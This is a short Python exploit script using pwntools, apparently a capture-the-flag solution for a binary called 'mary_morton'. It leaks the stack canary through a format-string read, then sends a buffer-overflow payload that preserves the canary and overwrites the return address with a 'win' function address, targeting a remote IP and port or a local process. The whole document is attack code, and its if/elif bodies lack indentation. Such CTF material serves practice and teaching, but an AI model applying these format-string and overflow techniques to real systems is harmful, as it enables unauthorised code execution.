```python
from pwn import *
from sys import argv

if argv[1] == 'r':
r = remote('146.185.132.36', '19153')
elif argv[1] == 'l':
r = remote('localhost', '6000')
else:
r = process('./mary_morton')

win = p64(0x4008de)
log.info("FSB")
r.sendlineafter('3. Exit the battle \n', b'2')
r.sendline('%23$p')
pause(3)
canary = r.recv()
canary = int(re.search(b'0x[0-9a-f]{16}', canary).group(), 16)
log.info("canary ==> {0:x}".format(canary))

log.info("BOF")
r.sendline(b'1')
payload = b"A" * 136
payload += p64(canary)
payload += b"W" * 8
payload += win * 4

r.sendline(payload)
print(r.recv())
print(r.recv())
```